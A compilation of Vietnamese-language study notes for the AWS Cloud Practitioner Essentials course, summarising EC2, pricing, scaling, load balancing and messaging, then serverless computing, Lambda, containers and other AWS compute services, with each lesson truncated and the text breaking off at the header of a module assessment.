aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/module-2-summary Chúc mừng bạn đã hoàn thành Module 2 - Compute in the Cloud! 🎉 Trong module này, bạn đã học về Amazon EC2 và cách các cloud resources giúp scale applications. Bạn đã có kiến thức về EC2 instance types, pricing options, và cách chọn instance types tốt nhất cho nhu cầu kinh doanh độc đáo của mình. Bạn cũng đã làm quen với việc sử dụng các công cụ và dịch vụ AWS như Elastic Load Balancing, Amazon EC2 Auto Scaling, Amazon SQS, và Amazon SNS để quản lý traffic và communication. ## 📚 Tổng kết nội dung đã học ### 1. Introduction to Amazon EC2 Amazon Elastic Compute Cloud (EC2): > Amazon EC2 là dịch vụ compute mạnh mẽ của AWS, cung cấp virtual servers (instances) trong cloud với flexible computing capacity. Các khái niệm chính: - 💻 Virtual Machines (VMs) - Máy ảo - 🔄 Multi-tenancy - Nhiều tenants chia sẻ cùng một instance - 🖥️ Hypervisor - Phần mềm quản lý virtualization - 📦 EC2 Instances - Virtual servers trong cloud Lợi ích của EC2 so với on-premises: - ⚡ Khởi động nhanh chóng - 💰 Chỉ trả cho những gì bạn sử dụng - 📈 Scale dễ dàng - 🌍 Truy cập từ bất kỳ đâu ### 2. Amazon EC2 Instance Types 5 loại instance types chính: 1. General Purpose - Cân bằng compute, memory và networking - Use cases: Web servers, small databases, development environments 2. Compute Optimized - Tối ưu cho compute-intensive workloads - Use cases: High-performance computing, scientific modeling, video encoding 3. Memory Optimized - Tối ưu cho memory-intensive applications - Use cases: In-memory databases, real-time big data analytics 4. Accelerated Computing - Tối ưu cho workloads cần hardware accelerators - Use cases: Machine learning, graphics rendering, game streaming 5. Storage Optimized - Tối ưu cho workloads cần high storage throughput - Use cases: Data warehousing, distributed file systems Instance Size: - Từ `nano` (nhỏ nhất) đến `metal` (lớn nhất) - Mỗi size tăng gấp đôi resources so với size trước đó ### 3. How to Provision AWS Resources Các cách tương tác với AWS: 1. AWS Management Console - Web-based GUI - Dễ sử dụng, phù hợp cho beginners - Truy cập qua trình duyệt web 2. AWS Command Line Interface (CLI) - Command-line tool - Tự động hóa tasks - Phù hợp cho scripting và automation 3. AWS Software Development Kit (SDK) - Code libraries - Tích hợp vào applications - Hỗ trợ nhiều ngôn ngữ lập trình 4. APIs - Application Programming Interfaces - HTTP requests để tương tác với AWS services Managed vs Unmanaged Services: - Managed Services: AWS quản lý infrastructure (ví dụ: Amazon RDS) - Unmanaged Services: Khách hàng quản lý infrastructure (ví dụ: Amazon EC2) ### 4. Demo: Launching an Amazon EC2 Instance Các cấu hình chính khi launch EC2 instance: 1. Amazon Machine Image (AMI) - Template chứa: - Operating system - Application server - Applications 2. Instance Type - Kích thước và khả năng của instance 3. Key Pairs - SSH keys để truy cập instance 4. Network Settings - VPC, Subnet, Security Groups 5. Storage Options - EBS volumes, instance store 6. User Data - Scripts chạy khi instance khởi động Lợi ích của AMI: - ✅ Consistency khi scale applications - ✅ Efficiency trong việc launch instances mới - ✅ Standardization của configurations ### 5. Amazon EC2 Pricing Các tùy chọn pricing: 1. On-Demand Instances - Pay per second/hour - Không có commitment - Phù hợp cho: Short-term, unpredictable workloads 2. Savings Plans - Tiết kiệm lên đến 72% - Flexible pricing model - Phù hợp cho: Steady-state workloads 3. Reserved Instances - Tiết kiệm lên đến 75% - 1-year hoặc 3-year commitment - Phù hợp cho: Predictable workloads 4. Spot Instances - Tiết kiệm lên đến 90% - Có thể bị interrupt - Phù hợp cho: Flexible, fault-tolerant workloads 5. Dedicated Hosts - Physical server dành riêng - Phù hợp cho: Compliance requirements 6. Dedicated Instances - Instances trên dedicated hardware - Phù hợp cho: Licensing requirements ### 6. Scaling Amazon EC2 Scalability vs Elasticity: - Scalability: Khả năng của hệ thống xử lý tải tăng lên bằng cách thêm resources - Scaling Up (Vertical): Thêm sức mạnh cho máy hiện có - Scaling Out (Horizontal): Thêm nhiều máy hơn - Elasticity: Khả năng tự động scale resources lên hoặc xuống để phản ứng với real-time demand Amazon EC2 Auto Scaling: - Tự động điều chỉnh số lượng EC2 instances dựa trên demand - Auto Scaling Groups với 3 settings: - Minimum Capacity: Số lượng instances tối thiểu - Desired Capacity: Số lượng instances mong muốn - Maximum Capacity: Số lượng instances tối đa Best Practices: - Deploy instances trên nhiều Availability Zones - Sử dụng CloudWatch để monitor metrics - Scale từng component độc lập ### 7. Directing Traffic with Elastic Load Balancing Elastic Load Balancing (ELB): - Tự động phân phối incoming application traffic trên nhiều EC2 instances - Single point of contact cho tất cả incoming traffic - Đảm bảo high availability và fault tolerance 4 Routing Methods: 1. Round Robin - Phân phối đều theo thứ tự tuần tự 2. Least Connections - Route đến server có ít connections nhất 3. IP Hash - Route dựa trên client IP address 4. Least Response Time - Route đến server có response time nhanh nhất ELB Benefits: - ✅ Efficient traffic distribution - ✅ Automatic scaling - ✅ Simplified management ELB và Auto Scaling: - Auto Scaling điều chỉnh số lượng instances - ELB phân phối traffic đều trên các instances - Hoạt động cùng nhau để đảm bảo high availability ### 8. Messaging and Queuing Tightly Coupled vs Loosely Coupled: - Tightly Coupled: Components phụ thuộc chặt chẽ vào nhau - Failure của một component có thể ảnh hưởng toàn bộ hệ thống - Loosely Coupled: Components hoạt động độc lập - Failure của một component không ảnh hưởng các components khác Amazon SQS (Simple Queue Service): - Message queuing service - Lưu trữ messages cho đến khi được xử lý - Decouples application components - Phù hợp cho: Asynchronous processing [… phần còn lại đã lược bớt] ============================================================================ # M03.01 - Introduction to Serverless Computing URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/introduction-to-serverless-computing Source: docs/07-aws-cloud-practitioner-essentials/03-exploring-compute-services/01.introduction-to-serverless-computing.md Description: Tìm hiểu về serverless computing và sự khác biệt giữa unmanaged, managed, và serverless compute services trong AWS. Khám phá trách nhiệm của khách hàng và AWS đối với serverless computing. Tags: aws, serverless, lambda, compute, managed-services, unmanaged-services, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/introduction-to-serverless-computing Với serverless computing, bạn chạy applications mà không cần quản lý underlying infrastructure. Trong các bài học tiếp theo, bạn sẽ học cách tận dụng tối đa nó với các compute services mạnh mẽ. Bạn sẽ khám phá AWS Lambda, một serverless solution tự động xử lý scaling, availability, và maintenance. Bạn cũng sẽ khám phá các services như Amazon Elastic Container Service (Amazon ECS), Amazon Elastic Kubernetes Service (Amazon EKS), và AWS Elastic Beanstalk, giúp container management và application deployment dễ quản lý hơn. Sau khi hoàn thành các bài học này, bạn sẽ sẵn sàng chọn service tốt nhất cho nhu cầu của mình. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả sự khác biệt giữa unmanaged, managed, và serverless compute services trong AWS - ✅ Mô tả trách nhiệm của khách hàng và AWS đối với serverless computing - ✅ Hiểu được các mức độ control và convenience khác nhau mà AWS services cung cấp ## Tổng quan về AWS Compute Options Trong các bài học tiếp theo, bạn sẽ học về AWS compute services và các mức độ control khác nhau mà chúng cung cấp. Bạn đã thấy cách Amazon Elastic Compute Cloud (Amazon EC2), một unmanaged service, cho bạn full control over virtual machines. Bây giờ, bạn sẽ học về managed và serverless services giảm infrastructure management để bạn có thể tập trung vào application của mình. ## Amazon EC2 - Unmanaged Service Để nhanh chóng tóm tắt lại, EC2 instances là virtual machines mà bạn có thể provision trên AWS. EC2 tuyệt vời cho tất cả các loại use cases, từ chạy basic web servers đến high performance computing workloads, và mọi thứ ở giữa. EC2 cung cấp một mức độ control cao khi nói đến instances của bạn, nhưng nó cũng yêu cầu bạn quản lý fleet của instances đó theo thời gian. EC2 là một unmanaged service, có nghĩa là bạn có control over các tasks như patching, scaling, và managing operating system, trong khi AWS quản lý underlying infrastructure. Hãy nghĩ lại về Shared Responsibility Model, nơi AWS chịu trách nhiệm về security OF the cloud, và bạn chịu trách nhiệm về security IN the cloud. ## Managed Services Mặt khác, AWS cũng cung cấp managed services. Managed services chuyển nhiều operational responsibilities hơn sang AWS—để bạn có thể tập trung vào việc xây dựng application và ít hơn vào việc quản lý infrastructure. ### Ví dụ: Coffee Shop Analogy Để giúp minh họa điều này, hãy liên hệ nó với coffee shop. Unmanaged services giống như những máy espresso cao cấp, có thể tùy chỉnh hoàn toàn. Bạn có thể chọn beans, xay chúng đến độ nhất quán mong muốn, điều chỉnh mọi nút và đòn bẩy theo ý thích của bạn, để bạn có được tách cà phê hoàn hảo. Tất cả là về control. Và đó là giấc mơ của một người đam mê cà phê! Nhưng nó cũng là nhiều công việc hơn vì bạn phải chịu trách nhiệm cho tất cả việc bảo trì và maintenance của máy. Managed services, mặt khác, thiên về sự tiện lợi. Hãy nghĩ về chúng như một máy pha cà phê sử dụng pods. Bạn chỉ cần bỏ pod vào, chọn settings của bạn, nhấn nút, và trong vài phút, bạn đã có một tách cà phê—không rắc rối, không phiền toái. Chắc chắn, nó có thể không tùy chỉnh được như máy espresso, nhưng nó tiết kiệm cho bạn rất nhiều thời gian và công sức. Những gì bạn chọn thực sự phụ thuộc vào những gì bạn đang tìm kiếm. ## Key Takeaways: Unmanaged và Managed Services AWS services trải dài từ unmanaged đến managed, cung cấp cho bạn các mức độ control và convenience khác nhau. Một số services, như EC2, cho phép bạn fine-tune mọi thứ. Bạn chịu trách nhiệm cho tất cả configurations và management. Sau đó, có managed services. Một số ví dụ về managed services mà bạn đã học là ELB, SNS, và SQS. Đối với managed services, bạn cấu hình service để đáp ứng requirements của mình, và sau đó AWS đảm bảo nó chạy trơn tru theo thời gian, không cần server management từ phía bạn. Ý tưởng này về việc không quản lý bất kỳ underlying infrastructure nào đã dẫn đến sự nổi lên của serverless computing. ### Unmanaged và Managed Services Với unmanaged compute services như Amazon EC2, AWS chăm sóc underlying physical infrastructure, nhưng bạn chịu trách nhiệm thiết lập, bảo mật, và duy trì operating system, network configurations, và applications trên instances của bạn. Managed services, mặt khác, giảm lượng infrastructure mà bạn cần quản lý. Trong khi AWS xử lý nhiều operational overhead, bạn vẫn có thể cần thực hiện một số provisioning hoặc configuration tùy thuộc vào service. ## Serverless Computing Serverless có nghĩa là bạn không thể thực sự thấy hoặc truy cập underlying infrastructure hoặc instances đang host application của bạn. Thay vào đó, tất cả management của underlying environment từ góc độ provisioning, scaling, high availability, và maintenance đều được xử lý cho bạn. Tất cả những gì bạn cần làm là tập trung vào application của mình. ### Fully-Managed Services Fully-managed services—như serverless ones—đưa abstraction đi xa hơn nữa, loại bỏ nhu cầu provision hoặc quản lý bất kỳ servers nào. Underlying infrastructure được quản lý hoàn toàn bởi AWS, vì vậy bạn có thể tập trung hoàn toàn vào việc viết và deploy code. Sau trong module này, bạn sẽ khám phá Lambda. Lambda là một serverless compute service nơi AWS xử lý infrastructure, scaling, và availability, trong khi bạn vẫn chịu trách nhiệm bảo mật và quản lý application code của mình. ## So sánh các mức độ Service Management | Đặc điểm | Unmanaged Services | Managed Services | Fully-Managed (Serverless) | |----------|-------------------|------------------|---------------------------| | Ví dụ | Amazon EC2 | ELB, SNS, SQS | AWS Lambda | | Control | Full control | Partial control | Minimal control | | Management | Bạn quản lý OS, patches, scaling | AWS quản lý infrastructure, bạn cấu hình | AWS quản lý tất cả | | Provisioning | Bạn provision instances | Bạn cấu hình service | Không cần provisioning | | Scaling | Bạn quản lý scaling | AWS tự động scale | AWS tự động scale | | Use Case | High customization needs | Balanced control và convenience | Focus on code, not infrastructure | ## Trách nhiệm theo Service Model ### Unmanaged Services (ví dụ: Amazon EC2) [… phần còn lại đã lược bớt] ============================================================================ # M03.02 - AWS Lambda URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/aws-lambda Source: docs/07-aws-cloud-practitioner-essentials/03-exploring-compute-services/02.aws-lambda.md Description: Tìm hiểu về AWS Lambda - serverless compute service chạy code mà không cần quản lý servers. Khám phá các thành phần chính của Lambda như triggers, functions, scaling, và các use cases thực tế. Tags: aws, lambda, serverless, function-as-a-service, compute, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/aws-lambda Trong bài học này, bạn sẽ học về AWS Lambda, một serverless compute service chạy code mà không cần quản lý servers. Đã đến lúc đi sâu vào managed service yêu thích của tôi—AWS Lambda. Lambda là một serverless compute service. Nó cũng được gọi là Function as a Service (FaaS). ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Nhớ lại Lambda là gì và core functionality của nó như một serverless compute service - ✅ Xác định các key components của Lambda, chẳng hạn như triggers, functions, và scaling - ✅ Hiểu cách Lambda hoạt động và các use cases phù hợp ## AWS Lambda là gì? Lambda là một serverless compute service chạy code để phản ứng với events mà không cần provision hoặc quản lý servers. Nó tự động quản lý underlying infrastructure, scaling resources dựa trên volume của requests. Bạn chỉ bị tính phí cho compute time đã sử dụng, xuống đến millisecond. Lambda xử lý execution, scaling, và resource allocation. Bạn có thể tối ưu hóa performance bằng cách cấu hình memory size phù hợp cho function của bạn. ## Ví dụ: Crab Classifier App Hãy nói rằng bạn đang xây dựng một crab classifier app nơi users upload một bức ảnh của một loài giáp xác và sau đó được thông báo khi một classification đã được thực hiện. Sau khi app của bạn đã được code, bạn sẽ cần deploy nó lên infrastructure. Điều này có nghĩa là provisioning servers, scaling up và down, và đảm bảo mọi thứ luôn available. Tôi thấy bạn đang gãi đầu và nghĩ... điều này nghe có vẻ như rất nhiều công việc, Rudy. Nhưng đừng trở nên crabby! Bạn có thể sử dụng Lambda để chạy code! Với Lambda, bạn không cần nghĩ về servers hoặc crab clusters. Bạn tạo một Lambda function, đặt code của bạn vào đó, cấu hình một trigger, và function của bạn chạy để phản ứng với trigger đó. Quay lại crab classifier app, một trigger đơn giản có thể là khi một user upload một bức ảnh mới của một con cua hoặc khi app đã xác định classification của một hình ảnh đã upload. Triggers có thể phức tạp hơn, mặc dù. Như xử lý dữ liệu real-time từ một stream hoặc resize một hình ảnh thành các resolutions khác nhau. Và phần claw-some là bạn không phải quản lý environment. AWS xử lý tất cả cho bạn! ## Cách Lambda hoạt động ### 1. Upload code to Lambda Đầu tiên, upload code lên Lambda, được upload như một Lambda function. Bạn tạo một Lambda function và upload code của bạn vào đó. Code này có thể được viết bằng nhiều ngôn ngữ lập trình khác nhau. ### 2. Set code to trigger from an event source Tiếp theo, cấu hình code của bạn để được trigger bởi events, như AWS services, mobile apps, hoặc HTTP requests. Bạn cấu hình trigger cho Lambda function của bạn. Triggers có thể đến từ nhiều nguồn khác nhau: - AWS services (S3, SQS, DynamoDB, API Gateway, v.v.) - Mobile apps - HTTP requests - Scheduled events (CloudWatch Events) - Custom events ### 3. Run code when triggered Code của bạn chạy chỉ khi một event xảy ra, như file upload hoặc user action. Lambda tự động xử lý tất cả server management, scaling, và infrastructure. Lambda runtime thực thi function code của bạn sử dụng event data được truyền vào nó. Bằng cách này, code của bạn chạy reliably, securely, và efficiently—mà không cần bạn quản lý servers hoặc environment mà nó chạy trong đó. Managed environment này tự động scalable và highly available. Điều này có nghĩa là dù bạn nhận được một single trigger hay hàng nghìn, Lambda sẽ scale up hoặc down để đáp ứng demand. Thậm chí tốt hơn, AWS chăm sóc tất cả patching, updates, và security. Bạn chỉ cần focus vào code của mình. ### 4. Pay only for the compute time used Bạn chỉ bị tính phí cho compute time đã sử dụng, xuống đến millisecond. Giá phụ thuộc vào lượng memory mà bạn allocate cho function của mình. Với code đó, chỉ cần lưu ý rằng maximum duration của một Lambda function là 15 phút. Nếu bạn không thể chia code của mình thành các segments 15 phút, Lambda có thể không phải là lựa chọn tốt nhất. ## Key Components của Lambda ### Lambda Functions Lambda function là code của bạn được đóng gói và deploy lên Lambda. Mỗi function có: - Code: Logic của application - Configuration: Memory, timeout, environment variables - Execution role: IAM role với permissions cần thiết ### Triggers Triggers là events khởi động Lambda function. Các loại triggers phổ biến: - API Gateway: HTTP requests - S3: Object uploads, deletions - SQS: Messages trong queue - DynamoDB: Database changes - CloudWatch Events: Scheduled events - Kinesis: Data streams ### Runtimes Runtimes cung cấp language-specific environment relay invocation events, context information, và responses giữa Lambda và function. Supported runtimes: - Java - Python - Node.js - .NET - Go - Ruby - Custom runtimes (bạn có thể build runtime riêng) ### Scaling Lambda tự động scale dựa trên số lượng requests: - Concurrent executions: Lambda có thể chạy hàng nghìn functions đồng thời - Automatic scaling: Không cần cấu hình manual - High availability: Functions được distribute trên multiple Availability Zones ## Lambda Use Cases Lambda lý tưởng cho việc xây dựng responsive, event-driven applications trên nhiều ngành công nghiệp. Dưới đây là ba ví dụ thực tế cho thấy cách Lambda giúp các công ty scale hiệu quả, giảm operational overhead, và chỉ trả cho những gì họ sử dụng. ### 1. Real-time Image Processing cho Social Media Application Một công ty social media sử dụng Lambda để xử lý hình ảnh được upload bởi users. Khi một photo được upload, Lambda được trigger để resize hình ảnh, áp dụng filters, và lưu nó ở format tối ưu vào storage. Event-driven, serverless approach này đảm bảo rằng application có thể xử lý high volumes của uploads mà không cần quản lý infrastructure. Tại sao Lambda: Nó tự động scale dựa trên uploads và chỉ tính phí cho thời gian dành để xử lý mỗi hình ảnh. ### 2. Personalized Content Delivery cho News Aggregator Một news aggregator sử dụng Lambda để fetch và xử lý news articles từ nhiều sources, sau đó nó tùy chỉnh recommendations dựa trên user preferences. Khi một user mở application hoặc thực hiện search, Lambda functions được trigger để retrieve data, chạy personalization logic, và return relevant content. [… phần còn lại đã lược bớt] ============================================================================ # M03.03 - Containers and Orchestration on AWS URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/containers-and-orchestration-on-aws Source: docs/07-aws-cloud-practitioner-essentials/03-exploring-compute-services/03.containers-and-orchestration-on-aws.md Description: Tìm hiểu về containers và orchestration trên AWS. Khám phá cách containers tạo môi trường runtime nhất quán và portable, Amazon ECR để lưu trữ container images, Amazon ECS và Amazon EKS để orchestrate containers, và AWS Fargate để chạy containers serverless. Tags: aws, containers, docker, ecs, eks, ecr, fargate, kubernetes, orchestration, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/containers-and-orchestration-on-aws Cho đến bây giờ, chúng ta đã nói về EC2 và Lambda, và có một compute service khác mà chúng ta chưa nói đến. Hãy nói về containers! Hãy tưởng tượng bạn là một developer đang cố gắng deploy một application hoạt động hoàn hảo trên máy tính của bạn nhưng thất bại ở mọi nơi khác. Điều đó thật frustating, phải không? Bạn thậm chí có thể đã nghe các developers cố gắng debug vấn đề này và nói với nhau, "It works on my machine." ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả cách containers tạo một runtime environment nhất quán và portable trên các systems khác nhau - ✅ Giải thích cách Amazon Elastic Container Registry (Amazon ECR) được sử dụng để lưu trữ, quản lý, và version container images - ✅ Xác định cách Amazon ECS và Amazon EKS orchestrate containers để deploy, scale, và quản lý applications - ✅ Mô tả cách AWS Fargate chạy containers mà không cần provision hoặc quản lý servers ## Containers là gì? Containers giải quyết vấn đề portability này bằng cách cung cấp một environment nhất quán có thể được replicate ở bất cứ đâu. Đó là những gì containers làm. Chúng package mọi thứ application của bạn cần để chạy—code, runtime, dependencies, configuration—thành một single, portable unit. Điều này tạo ra một environment nhất quán, isolate application của bạn khỏi underlying system và làm cho nó thuận tiện để deploy và scale application của bạn ở bất cứ đâu. Lợi ích của Containers: - ✅ Consistency: Môi trường nhất quán ở mọi nơi - ✅ Portability: Chạy trên bất kỳ system nào - ✅ Isolation: Ứng dụng được cách ly khỏi hệ thống - ✅ Faster start times: Khởi động nhanh hơn VMs - ✅ Improved resource efficiency: Sử dụng tài nguyên hiệu quả hơn ## Key Takeaways: Solving Deployment Challenges Containers cung cấp một cách đáng tin cậy để package code và dependencies của application thành một single, portable unit, làm cho chúng lý tưởng cho workflows yêu cầu high security, reliability, và scalability. ### Containers và VMs Một container package application của bạn với mọi thứ nó cần để chạy, vì vậy nó hoạt động giống nhau trên bất kỳ computer nào. Điều này giúp di chuyển, cập nhật, và quản lý. Containers nhanh hơn và nhẹ hơn virtual machines (VMs) vì chúng chia sẻ operating system của host computer. VMs sử dụng hypervisor để chạy full, separate operating systems, điều này làm cho chúng ít resource-efficient hơn và có startup times dài hơn. Sự khác biệt chính: - VMs: Mỗi VM có Guest OS riêng, chạy trên Hypervisor - Containers: Chia sẻ Host OS, chỉ chứa application và dependencies ### Deployment Consistency với Containers Khi environment của developer khác với staging hoặc production, deployments có thể thất bại và trở nên khó debug. Containers giải quyết điều này bằng cách giữ environment của application nhất quán ở mọi nơi, làm cho deployments mượt mà hơn và hỗ trợ troubleshooting. Container image được build một lần và có thể chạy nhất quán trên: - Development environment - QA environment - Staging environment - Production environment ### Scaling Containers với Orchestration Khi containerized applications scale, việc quản lý chúng trở nên phức tạp hơn. Một setup bắt đầu với một vài containers trên một single host có thể nhanh chóng phát triển thành hàng trăm hoặc hàng nghìn containers trên multiple hosts. Ở quy mô đó, manually xử lý container lifecycle, monitoring, và general operations trở nên không bền vững. Đây là nơi orchestration tools xuất hiện. Chúng tự động hóa deployment, scaling, và management để giữ mọi thứ chạy trơn tru. ## Container Orchestration Services Bây giờ bạn đã hiểu containers là gì, hãy nói về việc host chúng trên AWS. Bạn có thể quản lý containers trên của riêng mình, nơi bạn đặt containers trên top của một cluster EC2 instances, nhưng đó là rất nhiều công việc. Bạn sẽ phải xử lý monitoring health của containers, starting và stopping chúng khi cần, updating chúng, và managing networking cho chúng, và nhiều hơn nữa. Bạn có thể quản lý nó, tất nhiên, nhưng nó sẽ phức tạp và dễ mắc lỗi. Đó là nơi container orchestration services xuất hiện. Container orchestration services quản lý lifecycle của containers, bao gồm starting, stopping, và running chúng trên một cluster. Các orchestration services này tự động scale containers out khi traffic tăng lên—và scale back in khi mọi thứ lắng xuống. Bằng cách này, application của bạn có thể xử lý spikes trong demand mà không cần đổ mồ hôi. Chúng cũng xử lý recovery từ failure, monitoring, và updates, tiết kiệm cho bạn rất nhiều thời gian và công sức. ## AWS Container Services AWS có một bộ công cụ để quản lý containers phù hợp với ba categories: orchestration, registry, và compute. ### Amazon ECS (Elastic Container Service) Amazon Elastic Container Service (Amazon ECS) là một scalable container orchestration service để chạy và quản lý containers trên AWS, như Docker containers. Docker là một software platform để build, test, và deploy applications nhanh chóng. Amazon ECS lý tưởng nếu bạn muốn một cái gì đó streamlined và integrated, nhưng bạn vẫn có thể định nghĩa container images và resources của application, chẳng hạn như EC2 instance types và load balancers. ECS tự động quản lý containers và infrastructure của chúng dựa trên parameters mà bạn đặt. #### Amazon ECS Launch Types Amazon ECS với Amazon EC2: - Lý tưởng cho small-to-medium businesses cần full control over infrastructure - Phù hợp cho custom applications yêu cầu specific hardware hoặc networking configurations - Flexibility của Amazon EC2 và simplicity của Amazon ECS Amazon ECS với AWS Fargate: - Hoàn hảo cho startups hoặc small teams xây dựng web applications với variable traffic - Serverless option—không cần server management - Teams có thể focus vào development trong khi Amazon ECS xử lý scaling và orchestration ### Amazon EKS (Elastic Kubernetes Service) [… phần còn lại đã lược bớt] ============================================================================ # M03.04 - Additional Compute Services URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/additional-compute-services Source: docs/07-aws-cloud-practitioner-essentials/03-exploring-compute-services/04.additional-compute-services.md Description: Tìm hiểu về các compute services bổ sung của AWS: Elastic Beanstalk, AWS Batch, Amazon Lightsail, và AWS Outposts. Khám phá cách các services này streamlines deployment, batch processing, web hosting, và hybrid cloud architectures. Tags: aws, elastic-beanstalk, aws-batch, lightsail, outposts, compute, deployment, hybrid-cloud, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/additional-compute-services Cho đến bây giờ, chúng ta đã đề cập đến các compute options như EC2, Lambda, và container services như ECS. Nhưng đợi đã... còn nhiều hơn nữa! Có nhiều purpose-built services bạn có thể sử dụng cho specific use cases có thể giúp bạn đạt được mục tiêu của mình. Hãy xem nhanh một số trong số chúng! AWS cung cấp một loạt các services được xây dựng có mục đích được thiết kế để streamlines specific use cases—từ application deployment và data processing đến web hosting và hybrid cloud setups. Hãy tham quan nhanh một số solutions mạnh mẽ này. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả cách Elastic Beanstalk streamlines environment provisioning và management - ✅ Giải thích cách AWS Batch quản lý large-scale computing tasks và tự động điều chỉnh resources dựa trên demand - ✅ Xác định cách Amazon Lightsail streamlines web application setup và management mà không cần complex infrastructure - ✅ Mô tả cách AWS Outposts mở rộng AWS services đến on-premises environments, hỗ trợ hybrid cloud architectures ## Additional Compute Services AWS cung cấp purpose-built services cho specific needs, chẳng hạn như streamlining web application deployment, managing batch workloads, providing virtual servers, và extending cloud infrastructure đến on-premises data centers. ## AWS Elastic Beanstalk AWS Elastic Beanstalk là một fully managed service streamlines deployment, management, và scaling của web applications. Developers có thể upload code của họ, và Elastic Beanstalk tự động xử lý provisioning của infrastructure, scaling, load balancing, và application health monitoring. Nó hỗ trợ various programming languages và frameworks, chẳng hạn như Java, .NET, Python, Node.js, Docker, và nhiều hơn nữa. Nó cung cấp full control over underlying AWS resources trong khi tự động hóa nhiều operational tasks. ### Cách Elastic Beanstalk hoạt động Thay vì build out infrastructure cần thiết, như network, EC2 instances, scaling, và elastic load balancers bằng chính bạn, bạn có thể cung cấp application code và desired configurations cho Elastic Beanstalk service. Elastic Beanstalk sau đó lấy thông tin đó và build out environment cho bạn. [code mermaid] flowchart LR U["Application code + desired configuration"] --> EB["AWS Elastic Beanstalk"] EB -->|"tự build"| ENV subgraph ENV["Environment"] N["Network"] EC2["EC2 instances"] AS["Scaling"] LB["Elastic Load Balancer"] HM["Health monitoring"] end [/code] Key Features: - ✅ Automatic Infrastructure Provisioning: Tự động tạo network, EC2 instances, load balancers - ✅ Auto Scaling: Tự động scale dựa trên demand - ✅ Health Monitoring: Tự động monitor application health - ✅ Environment Configuration: Dễ dàng lưu và deploy lại environment configurations - ✅ Full Control: Vẫn có visibility và control của underlying resources - ✅ Multi-language Support: Java, .NET, Python, Node.js, Docker, và nhiều hơn nữa Good for: - Deploying và managing web applications - RESTful APIs - Mobile backend services - Microservices architectures - Automated scaling và simplified infrastructure management ## AWS Batch AWS Batch là một fully managed service bạn có thể sử dụng để chạy batch computing workloads trên AWS. Nó tự động schedules, manages, và scales compute resources cho batch jobs, tối ưu hóa resource allocation dựa trên job requirements. ### Cách AWS Batch hoạt động AWS Batch là một compute service được thiết kế cho heavy-duty tasks như processing massive datasets, running simulations, hoặc performing complex calculations. AWS Batch chăm sóc infrastructure management cho bạn. Bạn sẽ không cần lo lắng về provisioning servers, scaling resources, hoặc managing infrastructure. AWS Batch xử lý tất cả điều đó, cho phép bạn focus vào các tasks quan trọng như building application hoặc running analysis của bạn. Key Features: - ✅ Automatic Resource Management: Tự động provision và scale resources - ✅ Job Scheduling: Tự động schedule và distribute tasks - ✅ Cost Optimization: Tối ưu hóa resource allocation - ✅ No Infrastructure Management: Không cần quản lý servers hoặc infrastructure - ✅ Automatic Scaling: Tự động scale dựa trên workload Service cũng scales tự động, distributing tasks trên một fleet của compute resources như EC2 instances. Good for: - Processing large-scale, parallel workloads - Scientific computing - Financial risk analysis - Media transcoding - Big data processing - Machine learning training - Genomics research ## Amazon Lightsail Amazon Lightsail là một cloud service offering virtual private servers (VPSs), storage, databases, và networking tại một predictable monthly price. Nó lý tưởng cho small businesses, basic workloads, và developers tìm kiếm một straightforward AWS experience mà không có complexity của full AWS Management Console. ### Cách Amazon Lightsail hoạt động Amazon Lightsail simplifies web application hosting bằng cách cung cấp cho bạn một relatively easy, cost-effective solution để chạy specific types của applications và websites. Nó chăm sóc rất nhiều complexity đi kèm với traditional web application hosting, và nó là một great option nếu bạn muốn một cái gì đó quick và easy để quản lý! Key Features: - ✅ Virtual Private Servers (VPS): Pre-configured VPS instances - ✅ Predictable Pricing: Monthly pricing đơn giản và dự đoán được - ✅ Simplified Management: Dễ sử dụng, không cần complex configurations - ✅ All-in-one Solution: VPS, storage, databases, và networking trong một package - ✅ Quick Setup: Get started nhanh chóng Good for: - Basic web applications - Low-traffic websites - Development và testing environments - Small business websites - Blogs - Learning cloud services ## AWS Outposts AWS Outposts là một fully managed hybrid cloud solution mở rộng AWS infrastructure và services đến on-premises data centers. Nó cung cấp một consistent experience giữa on premises và AWS Cloud, offering compute, storage, và networking components. ### Cách AWS Outposts hoạt động [… phần còn lại đã lược bớt] ============================================================================ # M03.05 - Module 3 Assessment URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/module-3-assessment Source: docs/07-aws-cloud-practitioner-essentials/03-exploring-compute-services/05.module-3-assessment.md Description: Bài kiểm tra Module 3 - Exploring Compute Services. Bạn phải đạt 80% trở lên để vượt qua module này. Bạn có thể làm lại không giới hạn số lần. Tags: aws, serverless, lambda, containers, ecs, eks, ecr, fargate, aws-cloud-practitioner, assessment, quiz, aws-certification, module-3 Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/module-3-assessment Info: 📝 Thông tin Bài kiểm tra Yêu cầu: Bạn phải đạt 80% trở lên (7/8 